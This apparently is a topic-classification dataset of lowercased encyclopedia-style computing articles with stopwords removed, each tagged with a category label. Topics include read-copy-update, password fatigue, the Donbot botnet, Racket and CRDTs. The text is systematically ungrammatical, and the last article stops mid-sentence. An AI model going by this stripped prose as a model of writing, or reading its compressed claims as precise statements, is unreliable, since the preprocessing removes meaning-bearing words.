apps many operating systems single shared .net code base xamarin allows write apps take full advantage power features performance platform xamarin.ios one xamarin frameworks use create fully native ios apps using c visual studio ios support adobe flash although adobe two versions software – flash flash lite – apple views neither suitable iphone claiming full flash slow useful flash lite capable used web october 2009 adobe announced upcoming update creative suite would feature component let developers build native iphone apps using company flash development tools software officially released part company creative suite 5 collection professional applications april 2010 apple made controversial changes iphone developer agreement requiring developers use approved programming languages order publish apps app store banning applications used third-party development tools developer backlash news potential antitrust investigation apple revised agreement september allowing use third-party development tools
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Operating systems
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read-copy-update computer science read-copy-update rcu synchronization mechanism based mutual exclusion used performance reads crucial example space–time tradeoff enabling fast operations cost space read-copy-update allows multiple threads efficiently read shared memory deferring updates pre-existing reads later time simultaneously marking data ensuring new readers read updated data makes readers proceed synchronization involved hence fast also making updates difficult key property rcu readers access data structure even process updated rcu updaters block readers force retry accesses overview starts showing data safely inserted deleted linked structures despite concurrent readers first diagram right depicts four-state insertion procedure time advancing left right first state shows global pointer named initially colored red indicate might accessed reader time thus requiring updaters take care allocating memory new structure transitions second state structure indeterminate state indicated question marks inaccessible readers indicated green color structure inaccessible readers updater may carry desired operation without fear disrupting concurrent readers initializing new structure transitions third state shows initialized values structure fields assigning reference new structure transitions fourth final state state structure accessible readers therefore colored red primitive used carry assignment ensures assignment atomic sense concurrent readers either see pointer valid pointer new structure mash-up two values additional properties described later article procedure demonstrates new data may inserted linked data structure even though readers concurrently traversing data structure insertion second diagram right depicts four-state deletion procedure time advancing left right first state shows linked list containing elements three elements colored red indicate rcu reader might reference time using remove element list transitions second state note link element b c left intact order allow readers currently referencing element traverse remainder list readers accessing link element either obtain reference element element either way reader see valid correctly formatted linked list element colored yellow indicate pre-existing readers might still reference element new readers way obtain reference wait-for-readers operation transitions third state note wait-for-readers operation need wait pre-existing readers new readers element colored green indicate readers longer referencing therefore safe updater free element thus transitioning fourth final state important reiterate second state different readers see two different versions list either without element words rcu provides coordination space different versions list well time different states deletion procedures stark contrast traditional synchronization primitives locking transactions coordinate time space procedure demonstrates old data may removed linked data structure even though readers concurrently traversing data structure deletion given insertion deletion wide variety data structures implemented using rcu rcu readers execute within read-side critical sections normally delimited statement within rcu read-side critical section said quiescent state statements permitted hold references rcu-protected data structures wait-for-readers operation required wait threads quiescent states time period thread resides least quiescent state called grace period definition rcu read-side critical section existence beginning given grace period must complete end grace period constitutes fundamental guarantee provided rcu addition wait-for-readers operation must wait least one grace period elapse turns guarantee provided extremely small read-side overheads fact limiting case actually realized server-class linux-kernel builds read-side overhead exactly zero rcu fundamental guarantee may used splitting updates removal reclamation phases removal phase removes references data items within data structure possibly replacing references new versions data items run concurrently rcu read-side critical sections reason safe run removal phase concurrently rcu readers semantics modern cpus guarantee readers see either old new version data structure rather partially updated reference grace period elapsed longer readers referencing old version safe reclamation phase free reclaim data items made old version splitting update removal reclamation phases allows updater perform removal phase immediately defer reclamation phase readers active removal phase completed words grace period elapsed typical rcu update sequence goes something like following procedure matches earlier diagram updater performing removal reclamation step often helpful entirely different thread reclamation reference counting used let reader perform removal even thread performs update step step 2 reclamation step step 4 often helpful think separately early 2008 almost 2,000 uses rcu api within linux kernel including networking protocol stacks memory-management system 9,000 uses since 2006 researchers applied rcu similar techniques number problems including management metadata used dynamic analysis managing lifetime clustered objects managing object lifetime k42 research operating system optimizing software transactional memory implementations dragonfly bsd uses technique similar rcu closely resembles linux sleepable rcu srcu implementation ability wait readers done allows rcu readers use much lighter-weight synchronization—in cases absolutely synchronization contrast conventional lock-based schemes readers must use heavy-weight synchronization order prevent updater deleting data structure reason lock-based updaters typically update data place must therefore exclude readers contrast rcu-based updaters typically take advantage fact writes single aligned pointers atomic modern cpus allowing atomic insertion removal replacement data linked structure without disrupting readers concurrent rcu readers continue accessing old versions dispense atomic read-modify-write instructions memory barriers cache misses expensive modern smp computer systems even absence lock contention lightweight nature rcu read-side primitives provides additional advantages beyond excellent performance scalability real-time response example provide immunity deadlock livelock conditions course rcu also disadvantages example rcu specialized technique works best situations mostly reads updates often less applicable update-only workloads another example although fact rcu readers updaters may execute concurrently enables lightweight nature rcu read-side primitives algorithms may amenable read/update concurrency despite well decade experience rcu exact extent applicability still research topic technique covered u.s. software patent 5,442,758 issued august 15 1995 assigned sequent computer systems well 5,608,893 expired 2009-03-30 5,727,209 expired 2010-04-05 6,219,690 expired 2009-05-18 6,886,162 expired 2009-05-25 now-expired us patent 4,809,168 covers closely related technique rcu also topic one claim sco v. ibm lawsuit rcu available number operating systems added linux kernel october 2002 user-level implementations liburcu also available implementation rcu version 2.6 linux kernel among better-known rcu implementations used inspiration rcu api remainder article core api application programming interface quite small diagram right shows api communicates among reader updater reclaimer rcu infrastructure observes time sequence codice_9 codice_10 codice_1 codice_4 invocations order determine 1 codice_1 invocations may return callers 2 codice_4 callbacks may invoked efficient implementations rcu infrastructure make heavy use batching order amortize overhead many uses corresponding apis rcu extremely simple toy implementations aid understanding rcu section presents one toy implementation works non-preemptive environment void call_rcu void *callback void void *arg void synchronize_rcu void code sample codice_7 codice_5 ignored without missing much however needed order suppress harmful compiler optimization prevent cpus reordering accesses smp_wmb /* order previous writes */ typeof p _value access_once p note codice_9 codice_10 nothing great strength classic rcu non-preemptive kernel read-side overhead precisely zero codice_19 empty macro dec alpha cpus memory barriers needed modern cpus codice_20 macro volatile cast generates additional code cases way codice_9 participate deadlock cycle cause realtime process miss scheduling deadline precipitate priority inversion result high lock contention however toy rcu implementation blocking within rcu read-side critical section illegal blocking holding pure spinlock implementation codice_1 moves caller synchronize_cpu cpu thus blocking cpus able perform context switch recall non-preemptive environment blocking within rcu read-side critical section illegal imply preemption points within rcu read-side critical section therefore given cpu executes context switch schedule another process know cpu must completed preceding rcu read-side critical sections cpus executed context switch preceding rcu read-side critical sections completed although rcu used many different ways common use rcu analogous reader-writer locking following side-by-side code display shows closely related reader-writer locking rcu differences two approaches quite small read-side locking moves codice_9 codice_10 update-side locking moves reader-writer lock simple spinlock codice_1 precedes codice_26 however one potential catch read-side update-side critical sections run concurrently many cases problem necessary check carefully regardless example multiple independent list updates must seen single atomic update converting rcu require special care also presence codice_1 means rcu version codice_28 block problem codice_4 could used like codice_30 place codice_1 especially useful combination reference counting name comes way rcu used update linked structure place thread wishing uses following steps thread made copy awakened kernel safely deallocate old structure structure read concurrently thread copying order update hence name read-copy update abbreviation rcu one many contributions linux community names similar techniques include passive serialization mp defer vm/xa programmers generations k42 tornado programmers techniques mechanisms resembling rcu independently invented multiple times bauer r.t. june 2009 operational verification relativistic program psu tech report tr-09-04 http //www.pdx.edu/sites/www.pdx.edu.computer-science/files/tr0904.pdf
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Operating systems
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pimp search pimp search novelty website create google lookalike webpage replacing word google word phrase user choice non-commercial website connected google inc. pimp search started 2006 became popular 2008 featured many media websites youtube videos site closed later 2009 citing dispute 'trademark issues february 2009 pimp search ended google search facilities posted message read trademark issues google longer allowing searches us ... currently site remains closed following message displayed trademark issues pimp search closed ever linking another website shinysearch.com
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Web technology
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password fatigue password fatigue feeling experienced many people required remember excessive number passwords part daily routine logon computer work undo bicycle lock conduct banking automated teller machine atm concept also known password chaos broadly identity chaos increasing prominence information technology internet employment finance recreation aspects people lives ensuing introduction secure transaction technology led people accumulating proliferation accounts passwords according 2002 survey british online-security consultant nta monitor typical intensive computer user 21 accounts require password factors causing password fatigue aside contributing stress password fatigue may encourage people adopt habits reduce security protected information example account holder might use password several different accounts deliberately choose easy-to-remember passwords vulnerable cracking rely written records passwords many sites attempt prevent users choosing easy-to-guess passwords add restrictions password length composition contribute password fatigue many cases restrictions placed passwords actually serve decrease security account either preventing good passwords making password complex user ends storing insecurely post-it note sites also block non-ascii non-alphanumeric characters password fatigue typically affect users also affect technical departments manage user accounts constantly reinitializing passwords situation ends lowering morale cases many cases users end typing passwords cleartext text files remember even writing post-it notes stick desk drawer companies well organized respect implemented alternative authentication methods adopted technologies user credentials entered automatically others may focus ease use even worsen situation constantly implementing new applications authentication system
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Computer security
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language grid language grid multilingual service platform internet mainly supporting intercultural collaboration enables easy registration sharing language resources online dictionaries bilingual corpora machine translations language grid developed increase accessibility usability language resources takes service-oriented approach wrapping existing language resources atomic web services enables users compose new services combining atomic web services architecture language grid increase usability language resources decrease risk providers opening resources wrapping resources services providers control intellectual property rights essential define stakeholders roles social protocol among every stakeholder related service grids service grid user take one roles following three categories institutional agreement reflects intentions three roles service grid users service providers ’ point view protection intellectual property rights critical satisfy demands service usage classified following three categories even for-profit organizations social responsibility activities classified non-profit use activities often conducted public institutions non-profit organizations conversely activities public institutions non-profit organizations commercial profit classified for-profit use language grid consists four service layers p2p service grid layer atomic service layer composite service layer application system layer p2p service grid layer constructed service grid server software main components service supervisor grid composer service supervisor controls service invocations according access control policies registered service providers service consumers invoke services composite service container atomic service container verifies whether request satisfies providers access control policies hand grid composer coordinates distributed service grids operated different grid operators order connect regional language services service grid server software developed language grid project national institute information communications technology development started 2006 april 2010 open-sourced software maintained open source project software used build language grid also employed lapps grid funded nsf department social informatics kyoto university started single operation language grid december 2007 non-profit purpose research purpose named language grid kyoto operation center january 2011 second operation center language grid started national electronics computer technology center thailand called language grid bangkok operation center later language grid jakarta operation center indonesia language grid xinjiang operation china started 2012 2014 respectively four operation centers connected realize federated operation language grid enables sharing language services among multiple language grids may 2017 operation kyoto language grid moved kyoto university npo language grid association may 2018 183 groups 24 countries regions joined kyoto language grid 226 services shared federated language grid researches developing using language grid cover several areas including artificial intelligence services computing human-computer interaction since 2006 research funds language grid provided national institute information communications technology japan society promotion science strategic information communications r promotion programme ministry internal affairs communications japan research institute science technology society japan science technology agency november 2015 research collaboration federated grid language services started among language grid european language resources association linguistic data consortium using language services different ways based language grid activities conducted different communities 2006 language grid association formed among industry government academia citizens advance technologies applications language grid foreigners fall ill different countries may unable receive adequate medical attention inability communicate japanese medical doctors multilingual medical communication support system developed wakayama university cooperation kyoto center multicultural society npo dispatched volunteer interpreters several affiliated hospitals total 1700 times per year support system helps communication foreign outpatients medical staff hospital reception desks using system hospital staff ask outpatients symptoms provide guidance around section hospital npo pangaea universities japan vietnam worked agricultural support project two major goals low rice productivity environmental burdens caused excessive use agrichemicals 2011 2014 four-month experiment conducted year vinh long province located mekong delta goal provide timely appropriate agriculture knowledge rice harvesting vietnamese farmers japanese experts since japanese experts physically travel rural areas highly motivated use language grid however low literacy rate areas farmers difficulties using computers reading writing messages youth-mediated communication ymc model invented children act mediators bridge gaps language knowledge cultures experts farmers
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Computational linguistics
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donbot botnet donbot also known aliases buzus bachsoy botnet mostly involved sending pharmaceutical stock-based e-mail spam donbot botnet thought consist roughly 125,000 individual computers combined send 800 million spam messages day amount equals 1.3 estimated total global spam volume 230 billion messages day though botnet known spikes accounted 4 total spam volume
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Computer security
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fcmov fcmov floating point conditional move opcode intel x86 architecture first introduced pentium pro processors copies contents one floating point stack register depending contents eflags integer flag register st 0 top stack register 8 variants instruction selected condition codes need set instruction perform move similar cmov instruction fcmov allows conditional operations performed without usual branching overhead however higher latency conditional branch instructions therefore useful simple yet unpredictable comparison conditional operations provide substantial performance gains instruction usually used fcomi instruction fcom-fstsw-sahf idiom set relevant condition codes based result floating point comparison table shows variants fcmov instructions first operand always st register equivalently top floating point stack opcode column indicates two-byte sequence second byte base value indicating number floating point stack register use second operand add desired number complete corresponding opcode value
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Computer architecture
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shared graphics memory computer architecture shared graphics memory refers design graphics chip dedicated memory instead shares main system ram cpu components design used many integrated graphics solutions reduce cost complexity motherboard design additional memory chips required board usually mechanism via bios jumper setting select amount system memory use graphics means graphics system tailored use much ram actually required leaving rest free applications side effect ram allocated graphics becomes effectively unavailable anything else example computer 512 mib ram set 64 mib graphics ram appear operating system user 448 mib ram installed disadvantage design lower performance system ram usually runs slower dedicated graphics ram contention memory bus shared rest system may also cause performance issues rest system designed fact mind ram 'taken away graphics similar approach gave similar results boost graphics used sgi computers notably o2/o2+ memory machines simply one fast pool 2.1 gb per second 1996 shared system graphics sharing performed demand including pointer redirection communication main system graphics subsystem called unified memory architecture uma early personal computers used shared memory design graphics hardware sharing memory cpu designs saved money single bank dram could used display program examples include apple ii computer commodore 64 radio shack color computer atari st apple macintosh notable exception ibm pc graphics display facilitated use expansion card memory plugged isa slot first ibm pc use sma ibm pcjr released 1984 video memory shared first 128kib ram exact size video memory could reconfigured software meet needs current program early hybrid system commodore amiga could run shared memory system would load executable code preferentially non-shared fast ram available
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Operating systems
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mp/m mp/m multi-programming monitor control program discontinued multi-user version cp/m operating system created digital research developer tom rolander 1979 allowed multiple users connect single computer using separate terminal mp/m fairly advanced operating system era least microcomputers included priority-scheduled multitasking kernel name used kernel referred nucleus memory protection concurrent input/output xios support spooling queueing also allowed user run multiple programs switch system required 8080 z80 cpu minimum 32 kb ram run left little memory user applications order support reasonable setups mp/m allowed memory switched machine real memory area instance program might loaded bank ram addressable cpu time program run bank ram would switched appear low memory typically lower 32 48 kb thus become visible os technique known bank switching subsequently added single user version cp/m version 3.0 one primary uses mp/m perhaps surprise dri power user version cp/m single user ability run several programs time address large amounts memory made system worth extra price mp/m ii 2.0 added file sharing capabilities 1981 mp/m ii 2.1 came extended file locking january 1982 versions like cp/m mp/m eventually ported intel 8086 appeared mp/m-86 2.0 september 1981 main developers system include frank holsworth later director marketing digital research known revisions mp/m-86 2.0 dated 25 september 1981 5 october 1981 also mp/m-86 2.1 dated 20 july 1982 mp/m-86 2.x absorbed technology cp/m-86 1.1 bdos 2.2 become concurrent cp/m-86 3.0 bdos 3.0 1982/1983 december 1983 dos emulator named pc-mode became available optional module concurrent cp/m-86 3.1 bdos 3.1 shipping 21 february 1984 system developed ms-dos compatible concurrent dos bdos 3.1 higher turn continued evolve flexos multiuser dos still use industrial applications following list commands supported mp/m ii console command processor early 1980s digital research also developed networking software named cp/net used connect mp/m server multiple cp/net clients named requesters running cp/m originally developed tom rolander mp/net mp/m system networking allowing mp/m system function requester server cp/m requesters cp/net clients could also run diskless configuration system stored rom named cp/nos nos network operating system similar mp/nos contained mp/m without local disk facilities like cp/nos mp/nos performed disk functions network system allowed share files printers send electronic messages cp/net existed versions 1.0 1.1 1.2 version 8080 z80 processors cp/net-86 8086 available well later incarnations dr net flexnet caldera permitted redistribution modification original digital research files including source code related cp/m mp/m families tim olmstead unofficial cp/m web site since 1997 olmstead death 12 september 2001 free distribution license refreshed expanded lineo meanwhile become owner digital research assets 19 october 2001
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Operating systems
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racket features racket active development vehicle programming language research since mid-1990s accumulated many features years article describes demonstrates features note one racket main design goals accommodate creating new languages domain-specific languages completely new languages therefore following examples different languages implemented racket please refer main article information core racket implementation highly flexible even without using dialects function full-featured scripting language capable running without windows-native gui capable tasks web server creation graphics racket use three different garbage collectors like implementations scheme family racket implements full tail call elimination racket takes language made fully safe-for-space via live variable analysis complements precise garbage collector cases like implementation lazy racket two features crucial proper execution addition additional compiler optimizations lambda lifting just-in-time compilation racket system interface includes asynchronous non-blocking i/o green threads synchronization channels semaphores sub-processes tcp sockets following program starts echo server port 12345 combination dynamic compilation rich system interface makes racket capable scripting language similar perl python following example demonstrates walking directory tree starting current directory uses codice_1 function construct sequence walks tree codice_2 form binds codice_3 path sequence codice_4 tests paths given regexp pattern next example uses hash table record previously seen lines print unique ones programs run drracket command line via codice_5 executable racket ignores initial shebang line making possible turn programs executable scripts following script demonstrates addition using racket library command-line argument parsing script grep-like utility expecting three command-line arguments base directory filename extension perl-compatible regular expression scans base directory files given suffix print lines matching regexp pattern racket features concept custodian kind value acts resource manager often used network servers connection dealt new custodian making easy clean-up resources might left open handler e.g. open ports following extends echo server example custodian use custodians combined memory accounting feature 3m garbage collector number additional runtime parameters control additional aspects runtime make possible create completely safe sandboxed execution contexts codice_6 library provides kind functionality simple way following example creates repl server specified port connecting port look like plain racket repl except evaluation subject various protection aspects sandbox example possible access filesystem repl create network connection run subprocesses use much time memory fact repl safe enough given publicly next example implements web server using codice_7 language time connection made server codice_8 function called get html send back client racket also includes functions would need write scrapers robots example following function would list google results search string library also includes support protocols http graphic capabilities come several different flavors intended different audiences codice_9 library provides convenient functions constructing images library mainly used students htdp-based courses following example codice_10 function defined called time generate sierpinski triangle depth 8 drracket editors contain images drracket displays image values like type value integers lists running program example actually displays sierpinski triangle cut pasted another program codice_11 library constructs image values mature audiences needs example following program plots sum two formula_1 three-dimensional gaussians concentric partially transparent surfaces codice_12 function requires three-argument function first argument curried codice_13 supplies besides constructing image values codice_11 also write files png pdf postscript svg formats racket implements portable gui layer libraries mentioned build implemented via native windows api via cocoa mac os x via gtk+ linux others racket api class-based toolkit somewhat related wxwidgets used originally following simple guessing game demonstrates coding gui toolkit codice_15 class implements top-level window codice_16 implements button codice_17 function defined produces function used button callback action gui hand-coded way help gui designer program available planet slide-based presentations also developed racket using codice_18 language much like beamer racket programmatic facilities elements slides pictures combined example following program displays full-screen title slide followed slide pictures codice_19 codice_20 functions combine pictures vertically horizontally respectively centered axis extension packages also exist planet example include latex elements racket features foreign function interface based libffi interface allows writing unsafe low-level c-like code allocate memory dereference pointers call functions shared libraries send callbacks racket functions using libffi closures core implementation thin layer atop libffi written c full interface implemented via racket code interface uses macros extensively resulting expressive racket-based interface description language language number useful features uniform representation higher-order functions avoiding pitfalls callbacks callouts different struct definitions similar plain racket structs custom function types represent input output pointers implicit arguments e.g. argument provides number elements vector passed another argument using interface access underlying gui toolkits racket implements gui layer completely racket ffi used number different ways writing complete glue layer library done racket opengl binding quickly pulling single foreign function example latter approach racket notable feature ability build new domain-specific general-purpose languages result combining number important features module system plays important role combining features making possible write code spans across number modules written different language languages used extensively racket distribution user libraries fact creating new language straightforward languages less handful uses racket comes number useful languages different racket default language scribble racket documentation system comes form number languages used write prose used racket documentation well writing books articles actually rather single scribble language family similar dialects different purpose run following example copy drracket click one two scribble rendering buttons appear pdf rendering requires pdftex alternatively use codice_21 executable file striking feature scribble languages use new syntax designed specifically textually rich code syntax allows free-form text string interpolation customizable quotations useful applications preprocessing text generating text html template systems note syntax extends plain s-expressions implemented alternative input expressions typed racket statically typed variant racket type system implements unique motivation developing accommodating much idiomatic racket code possible—as result includes subtypes unions much another goal typed racket allow migration parts program typed language accommodates calling typed code untyped code vice versa generating dynamic contracts enforce type invariants considered desirable feature application lifetime stages matures script application static typing helps maintenance large body code codice_22 language language lazy evaluation semantics similar haskell following example codice_23 infinite list whose 1000th element computed value needed printout racket comes three logic programming languages racklog prolog-like language datalog implementation minikanren port unlike scribble syntax first two languages use completely new syntax rather extension s-expressions use drracket 'll see provides proper highlighting usual host tools check syntax prolog/datalog repl plt group develops racket traditionally involved education levels one earliest research ideas group promoted use language levels restrict new students providing helpful error messages fit student level knowledge approach heavily used design programs textbook several plt developers authored well programbydesign project following program uses codice_24—the beginning student language uses codice_9 library creating pictures teaching languages codice_26 library interactive animations racket comes complete implementation algol 60 language another supported language plai like racket typed untyped modules written plai export every definition unlike scheme typed plai language differs traditional racket importantly statically typed also gives useful new constructs define-type type-case test finally following example implementation new language language code stored codice_28 file use follows
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Programming language topics
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cande cande command edit command line shell text editor mcp master control program operating system runs unisys clearpath series mainframes originally implemented burroughs large systems range features interacting operating system execution environment focused executing editing compiling programs creating copying moving renaming deleting files general full name cande mcs mcs message control subsystem general form systems program burroughs architecture mcp master control program core os mcs cande editor provides overall control network users editing capabilities cande anachronistic casual opposed scripted editing predate full screen graphical editors cande provides command-line interpreter line editor although unlike modern interpretation operating system command line interpreter cande commands compiled cande mcs shell like capabilities provided wfl notable features functions include addition features cande on-line help facility extra speed cande implemented user context switching swapping block top stack novel method broke several assumptions built design burroughs large systems particular handling virtual memory descriptors meant cande written dcalgol system-level privileges architecturally cande split two main sections primary single-instanced main process originally supporting 255 simultaneous users one worker stacks main process called bump receives input messages including input users simple requests executed without delay involve i/o disk access handled immediately requests added work queue handled one worker processes worker process called grind one instances time grind process default five pseudo-threads actually carry work internal threading model context switching selects one worker pseudo-threads per grind process makes executing context achieved copying top stack worker process needs execute i/o asynchronous activity initiates action marks waiting calls context-switching function selects different context execution cande operates without internal locks careful separation data possible user connection station assigned index main array called station array sta stay current station index named stax pronounced stay-x multiple words state data per station stored first words together followed second words etc allows cande index array using addition multiplication made faster operation hard-wired cpus era cande originally written 1973 darrel f. high taken randall gellens 1984 point library maintenance file copying moving renaming deleting routines rewritten allow significantly expanded capabilities slew utilities added using syntax allowing used even program running several architectural improvements made later transferred santa barbara plant eventually india syntax originally allowing control program execution input would normally directed program grew include number utilities
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Operating systems
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lisp-based intelligent software agents lisa project platform development lisp-based intelligent software agents lisa production-rule system implemented common lisp object system clos heavily influenced clips java expert system shell jess core reasoning engine based object-oriented implementation rete algorithm efficient mechanism solving difficult many-to-many matching problem intrinsic lisa ability reason clos objects without imposing special class hierarchy requirements thus possible easily augment existing clos applications reasoning capabilities lisa extension common lisp full power lisp environment always available lisa-enabled applications run ansi-compliant common lisp platform
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Programming language topics
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krait cpu krait arm-based central processing unit designed qualcomm included snapdragon s4 snapdragon 400/600/800/801/805 krait 200 krait 300 krait 400 krait 450 system chips introduced 2012 successor scorpion cpu although architectural similarities krait cortex-a15 core designed in-house
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Computer architecture
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socket g3 memory extender socket g3 memory extender short g3mx planned advanced micro devices solution problem connecting large amounts memory single microprocessor g3mx expected available amd 800s series chipset server market starting 2009 officially cancelled together cancellation socket g3 early 2008 electrical limitations preclude connecting 2 unbuffered ddr sdram dimms 4 buffered dimms single shared bus also impractical manufacture single chip two ddr memory buses channels thus impossible connect 8 dimms single chip typically per-processor limitation well obvious solution use narrower higher-speed bus interface memory implement point-to-point link daisy-chaining additional modules however intel made two attempts neither hugely successful amd answer g3mx chip similar amb intended placed motherboard dimm connect multiple dimms minimize latency designed daisy-chained g3mx asymmetrical link processor match typical memory usage patterns 20 differential signals supply read data processor 13 differential signals receive commands write data totals 66 pins less half required ddr2 ddr3 interface thus processor easily 4 g3mx memory interfaces 4 buffered dimms attached allowing 16 dimms feed one processor
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Operating systems
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instant webkiosk instant webkiosk operating system based debian gnu/linux designed use web kiosks digital signage 2017-12 binary emotions completely focused raspberry pi operating systems instant webkiosk live operating system pcs macs designed web kiosks browser defaults google chromium locked full-screen mode users may change settings reset typically end session operating system defaults originally defined values operating system designed boot usb flash devices may optionally installed hard drive network access via wired wireless networks system configuration done via web interface raspberry webkiosk port instant webkiosk raspberry pi designed web kiosks raspberry digital signage raspberry slideshow raspberry pi operating systems designed digital signage purposes also originated instant webkiosk code base
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Distributed computing architecture
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autocommit context data management autocommit mode operation database connection individual database interaction i.e. sql statement submitted database connection autocommit mode executed transaction implicitly committed sql statement executed autocommit mode rolled back autocommit mode theory incurs per-statement transaction overhead often undesirable performance resource utilization impact nonetheless systems microsoft sql server well connection technologies odbc microsoft ole db autocommit mode default statements change data order ensure individual statements conform acid atomicity-consistency-isolation-durability properties transactions alternative autocommit mode non-autocommit means sql client application responsible issuing transaction initiation start transaction termination commit rollback commands non-autocommit mode enables grouping multiple data manipulation sql commands single atomic transaction dbms e.g mariadb force autocommit every ddl statement even non-autocommit mode ddl statement starts previous dml statements transaction auto committed ddl executed new autocommit transaction following ddl statements new transaction automatically started needed
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Databases
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ultra 60 ultra 60 fairly large heavy computer workstation tower enclosure sun microsystems ultra 60 launched november 1997 shipped solaris 7 available several specifications ultra 60 similar higher-cost sun ultra 80 somewhat smaller supports fewer cpus less memory ultra 60 may rack-mounted using optional kit x9627a 560-2548 although generally rack-mounted since ultra 60 designed use workstation rather server details found sun ultra 80 rack mount installation guide enterprise 220r ultra 60 motherboard specialized rackmount case custom power supplies parts ultra 60 longer sold new replaced ultra 45 last order date ultra 60 july 2002 last model shipped 2003 considered sun end life although shipped solaris 7 ultra 60 run later versions solaris 10 well linux various unix operating systems ultra 60 run microsoft windows directly although internal pci card sunpci ii pro similar sun could fitted allow use windows full specifications longer found oracle web site abbreviated specification along extra notes likely useful given ultra 60 came equipped 1 2 cpus cpus run 300,360,450 mhz 16-kb data 16-kb instruction cache chip 2mb 4mb external secondary cache secondary cache size depends cpu model ultra 60 uses 144-pin 5v 60-ns dimm memory modules either 32 64 128 mb installed sets four identical dimms 16 dimm sockets possible fit 2 gb 16 128-mb modules memory bus 576 bits wide 512 bits used data 64 bits error correction specifications give maximum throughput 1.78-gb/s performance improved 2-way interleaving used giving 512 mb 2 gb ultra 60 takes one two 1 high sca scsi disk drives internally sold 18.2-gb 36.4-gb disks practice use sca disk internal disks must mounted carrier spud-bracket sun part number 540-3024 scsi ids internal disks 0 3 set sca backplane changed optional 1.44 mb 3.5 ms-dos/ibm compatible floppy drive fitted optional 644 mb suncd 32x-speed photo cd compatible cd-rom drive optional 10x dvd-rom could specified well many ultra 60s current use fitted rewritable cd-rom drive systems might inoperable pci 2.2 card installed 2 upa graphics slots running 112 mhz supporting one elite3d m3 and/or elite3d m6 graphics options two creator3d graphics options xvr-1000 graphics option officially supported work solaris 9 solaris 10 sun ultra 60 fitted dual channel ultra-3 scsi controller speed 40 mb/s one controller c0 used internal disk cd-rom dvd-rom tape second channel c1 used external 68-pin ultra wide scsi connector rear ultra 60 sun ultra 60 1 gbit/s ethernet used optional sun x1141a ethernet card usb officially supported various usb boards pcs known work linux solaris according hardware specifications sun web site maximum power consumption 380 w. components list lists power supply sun part number 300-1357 sony 670 w 12a power supply well fitted system 2x450mhz 2gb memory elite3d graphics one disk draws 200 watts idle remove 2nd video card 2nd cpu ultra 60 well built workstation use cheap mass-produced commodity pc parts like ultra workstations ultra 5 ultra 10 well cooled suffering none problems overheating like sun previous quad processor machine sparcstation 20 ultra 60 longer sold new sun policy support hardware 5 years date last shipment ultra 60 officially supported october 2007 addition official support knowledgeable people often sun employees regular visitors comp.unix.solaris comp.sys.sun.hardware comp.sys.sun.admin usenet newsgroups
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Computer architecture
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conflict-free replicated data type distributed computing conflict-free replicated data type crdt data structure replicated across multiple computers network replicas updated independently concurrently without coordination replicas always mathematically possible resolve inconsistencies might result crdt concept formally defined 2011 marc shapiro nuno preguiça carlos baquero marek zawirski development initially motivated collaborative text editing mobile computing crdts also used online chat systems online gambling soundcloud audio distribution platform nosql distributed databases redis riak crdt data types concurrent updates multiple replicas data without coordination computers hosting replicas result inconsistencies replicas general case may resolvable restoring consistency data integrity conflicts updates may require updates entirely partially dropped accordingly much distributed computing focuses problem prevent concurrent updates replicated data another possible approach optimistic replication concurrent updates allowed go inconsistencies possibly created results merged resolved later approach consistency replicas eventually re-established via merges differing replicas optimistic replication might work general case turns significant practically useful class data structures crdts work — mathematically always possible merge resolve concurrent updates different replicas data structure without conflicts makes crdts ideal optimistic replication example one-way boolean event flag trivial crdt one bit value true false true means particular event occurred least false means event occurred set true flag set back false event occurred un-occur resolution method true wins merging replica flag true replica observed event another one flag false replica n't observed event resolved result true — event observed two approaches crdts provide strong eventual consistency operation-based crdts state-based crdts two alternatives equivalent one emulate operation-based crdts require additional guarantees communication middleware namely operations dropped duplicated transmitted replicas though delivered order state-based crdts also disadvantage entire state must transmitted replicas may costly operation-based crdts referred commutative replicated data types cmrdts cmrdt replicas propagate state transmitting update operation example cmrdt single integer might broadcast operations +10 −20 replicas receive updates apply locally operations commutative however idempotent communications infrastructure must therefore ensure operations replica delivered replicas without duplication order pure operation-based crdts variant operation-based crdts reduces metadata size state-based crdts called convergent replicated data types cvrdts contrast cmrdts cvrdts send full local state replicas states merged function must commutative associative idempotent merge function provides join pair replica states set states forms semilattice update function must monotonically increase internal state according partial order rules semilattice delta state crdts simply delta crdts optimized state-based crdts recently applied changes state disseminated instead entire state cmrdts place requirements protocol transmitting operations replicas use less bandwidth cvrdts number transactions small comparison size internal state however since cvrdt merge function associative merging state replica yields previous updates replica gossip protocols work well propagating cvrdt state replicas reducing network use handling topology changes lower bounds storage complexity state-based crdts known payload integer n p cvrdt implements counter cluster n nodes node cluster assigned id 0 n 1 retrieved call myid thus node assigned slot array p increments locally updates propagated background merged taking max every element p. compare function included illustrate partial order states merge function commutative associative idempotent update function monotonically increases internal state according compare function thus correctly-defined cvrdt provide strong eventual consistency cmrdt equivalent broadcasts increment operations received payload integer n p integer n n common strategy crdt development combine multiple crdts make complex crdt case two g-counters combined create data type supporting increment decrement operations p g-counter counts increments n g-counter counts decrements value pn-counter value p counter minus value n counter merge handled letting merged p counter merge two p g-counters similarly n counters note crdt internal state must increase monotonically even though external state exposed query return previous values payload set g-set grow-only set set allows adds element added removed merger two g-sets union payload set set r two g-sets grow-only sets combined create 2p-set addition remove set called tombstone set elements added also removed removed element re-added element e tombstone set query never return true element 2p-set uses remove-wins semantics remove e takes precedence add e lww-element-set similar 2p-set consists add set remove set timestamp element elements added lww-element-set inserting element add set timestamp elements removed lww-element-set added remove set timestamp element member lww-element-set add set either remove set remove set earlier timestamp latest timestamp add set merging two replicas lww-element-set consists taking union add sets union remove sets timestamps equal bias lww-element-set comes play lww-element-set biased towards adds removals advantage lww-element-set 2p-set unlike 2p-set lww-element-set allows element reinserted removed or-set resembles lww-element-set using unique tags instead timestamps element set list add-tags list remove-tags maintained element inserted or-set new unique tag generated added add-tag list element elements removed or-set tags element add-tag list added element remove-tag tombstone list merge two or-sets element let add-tag list union two add-tag lists likewise two remove-tag lists element member set add-tag list less remove-tag list nonempty optimization eliminates need maintaining tombstone set possible avoids potentially unbounded growth tombstone set optimization achieved maintaining vector timestamps replica sequence list ordered set crdt used build collaborative real-time editor alternative operational transformation ot known sequence crdts treedoc rga woot logoot lseq crate decentralized real-time editor built top lseq runnable network browsers using webrtc logootsplit proposed extension logoot order reduce metadata sequence crdts mute online web-based peer-to-peer real-time collaborative editor relying logootsplit algorithm redis distributed highly available scalable in-memory database uses crdts implementing globally distributed databases based fully compatible redis open source soundcloud open-sourced roshi lww-element-set crdt soundcloud stream implemented top redis riak distributed nosql key-value data store based crdts league legends uses riak crdt implementation in-game chat system handles 7.5 